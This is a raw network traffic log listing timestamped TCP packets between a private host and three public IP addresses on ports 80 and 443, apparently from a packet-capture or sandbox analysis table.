Jan 9, 2024 15:46:15.690839052 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690911055 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.690953016 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.690989017 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.691031933 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.696527958 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.696593046 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.696609974 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.696630001 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.696656942 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.696692944 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.696880102 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.696929932 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.697096109 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.697144985 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.697160006 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.697206020 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.697277069 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.697325945 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.697362900 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.697413921 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:15.697448969 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.697487116 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:15.697531939 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167449951 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.167512894 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.167521000 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167555094 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.167560101 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167593956 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.167593956 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167630911 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.167633057 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167668104 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167668104 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.167705059 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167793036 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.167833090 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.167833090 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167870998 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.167870998 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167907000 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.167908907 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167946100 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.167980909 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.168014050 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.168016911 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.168054104 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.168113947 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.168147087 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.168154955 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.168183088 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.275365114 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.275396109 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.275415897 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.275422096 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.275444984 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.275460958 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.632987022 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633042097 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633225918 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633244038 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633263111 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633266926 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633282900 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633287907 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633306980 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633317947 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633325100 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633352041 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633394003 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633433104 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633459091 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633497953 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633548975 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633586884 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633588076 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633619070 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633668900 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633708954 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633713961 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633753061 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633873940 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633913994 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.633929014 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.633965969 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.744987965 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.745054007 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.745073080 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.745107889 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:16.745126009 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:16.745805979 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.126441002 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.126682043 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.126694918 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.126732111 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.126768112 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.126790047 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.126925945 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.126969099 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.126992941 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.127053976 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.127090931 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.127111912 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.127157927 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.127177000 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.127238035 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.127270937 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.127284050 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.127357006 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.127398014 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.723656893 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.723690987 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.723716021 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.723746061 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.723746061 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.723778009 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.723823071 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.723952055 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.723958969 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.724009037 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.724013090 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.724056959 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.724072933 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.724124908 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.724139929 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.724184036 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.724204063 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.724237919 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.724266052 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.724350929 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.724355936 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.724402905 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.730222940 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.730243921 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.730293036 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.730329037 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.730329037 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.730385065 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.730391026 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.730406046 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.730427027 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.730441093 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:17.730468035 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:17.730581999 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.090744972 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.090861082 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.091336012 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.091588020 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.091644049 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.091644049 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.091666937 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.091711044 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.091743946 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.091787100 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.205312967 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.205394030 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.205439091 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.205477953 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.205516100 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.205519915 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.205558062 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.205596924 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.205642939 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.205666065 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.205703020 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.205801964 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.248800039 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:18.248883009 CET	443	49714	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:18.248996973 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:18.362699986 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:18.362746000 CET	443	49714	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:18.566232920 CET	443	49714	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:18.566309929 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:18.572483063 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:18.572506905 CET	443	49714	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:18.572805882 CET	443	49714	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:18.572863102 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:18.578855991 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:18.583286047 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.583342075 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.583380938 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.583410978 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.583410978 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.583419085 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.583439112 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.583456993 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.583487988 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.583491087 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.583519936 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.583556890 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.625905991 CET	443	49714	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:18.697216988 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.697280884 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.697319031 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.697323084 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.697361946 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.697406054 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.697426081 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.697426081 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.697439909 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.697478056 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:18.697546005 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.697760105 CET	49707	80	192.168.2.10	187.211.34.211
Jan 9, 2024 15:46:18.863635063 CET	80	49707	187.211.34.211	192.168.2.10
Jan 9, 2024 15:46:19.063640118 CET	443	49714	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:19.063702106 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:19.063726902 CET	443	49714	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:19.063741922 CET	443	49714	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:19.063766956 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:19.063793898 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:19.065706968 CET	49714	443	192.168.2.10	172.67.139.220
Jan 9, 2024 15:46:19.065721035 CET	443	49714	172.67.139.220	192.168.2.10
Jan 9, 2024 15:46:19.733879089 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:20.017817020 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:20.018001080 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:20.055151939 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:20.500387907 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.164530993 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.164599895 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.164630890 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.164710999 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.447674990 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.447824001 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.448290110 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.448353052 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.448856115 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.449378967 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.449431896 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.730220079 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.730285883 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.730336905 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.730381012 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.731353998 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.731426001 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.731853962 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.731894970 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.731920004 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.731950045 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.732342958 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.732414007 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:21.732873917 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:21.732930899 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.013989925 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.014019966 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.014060020 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.014091969 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.014347076 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.014467001 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.014857054 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.014939070 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.014985085 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.015003920 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.015048027 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.015079975 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.015142918 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.015192986 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.015192986 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.015233040 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.015271902 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.015312910 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.015351057 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.015391111 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.015417099 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.015460968 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.015827894 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.015909910 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.015950918 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.296854973 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.296901941 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.296967983 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.296987057 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.297025919 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.297049999 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.297075987 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.297116995 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.297163963 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.297565937 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.297611952 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.298552990 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.298590899 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.298628092 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.298638105 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.298666000 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.298675060 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.298705101 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.298713923 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.298747063 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.298748970 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.298785925 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.298823118 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.298834085 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.298861980 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.298877954 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.298911095 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.299859047 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.299896955 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.299916983 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.299942970 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.299959898 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.300029993 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.300069094 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.300069094 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.300087929 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.300137043 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.300141096 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.300179005 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.300187111 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.300230026 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.300250053 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.300290108 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.300302982 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.300337076 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.300362110 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.300411940 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.580045938 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.580131054 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.580138922 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.580183029 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.580231905 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.580233097 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.580271959 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.580276966 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.580315113 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.580413103 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.580451012 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.580460072 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.580506086 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.580657959 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.580866098 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.580924988 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.580961943 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581039906 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581046104 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.581087112 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.581137896 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581211090 CET	49715	80	192.168.2.10	186.182.55.44
Jan 9, 2024 15:46:22.581273079 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581315041 CET	80	49715	186.182.55.44	192.168.2.10
Jan 9, 2024 15:46:22.581321955 CET	49715	80	192.168.2.10	186.182.55.44
